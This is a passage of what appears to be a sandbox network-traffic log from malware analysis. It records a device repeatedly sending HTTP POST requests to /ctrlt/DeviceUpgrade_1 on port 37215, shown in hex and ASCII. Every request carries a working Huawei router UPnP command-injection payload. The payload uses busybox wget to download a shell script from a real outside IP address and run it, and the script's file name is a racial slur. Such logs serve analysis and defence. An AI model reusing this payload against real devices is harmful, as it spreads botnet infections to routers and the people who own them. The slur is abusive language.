6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.898400068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.858093023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.569571972 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.432532072 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.15	34924	31.136.15.206	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.152581930 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.738543987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.890598059 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290469885 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.898418903 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 